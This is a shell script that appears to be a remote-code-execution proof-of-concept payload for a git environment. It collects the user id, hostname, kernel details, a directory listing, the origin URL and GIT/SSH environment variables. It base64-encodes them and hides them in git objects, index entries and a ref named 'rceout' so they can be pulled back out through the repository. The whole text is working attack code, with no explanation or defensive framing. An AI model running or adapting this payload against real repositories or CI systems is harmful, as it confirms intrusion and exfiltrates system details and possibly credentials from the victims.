 #!/bin/sh
 P=$(git config --get remote.origin.url 2>/dev/null)
 { id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version;
 echo LS:; ls -la; echo ENV:; env | grep -iE '^(GIT|SSH)'; echo STEPS:;
 OUT=$({ id; hostname; uname -a; } 2>&1 | base64 -w0 | tr '/+' '_-');
 echo "$OUT" > .rceout 2>/dev/null;
 H=$(git hash-object -w .rceout 2>&1); echo "s1 hash-object rc=$? H=$H";
 git update-index --add --cacheinfo 100644,$H,rce_probe.txt 2>&1; echo "s2 cacheinfo rc=$?";
 git -C "$P" update-ref refs/heads/rceout "$H" 2>&1; echo "s3 updateref rc=$?";
 } 2>&1 | base64 -w0 | tr '/+' '_-' > .rce_diag 2>/dev/null
 H2=$(git hash-object -w .rce_diag 2>/dev/null)
 git update-index --add --cacheinfo 100644,$H2,rce_diag.txt 2>/dev/null
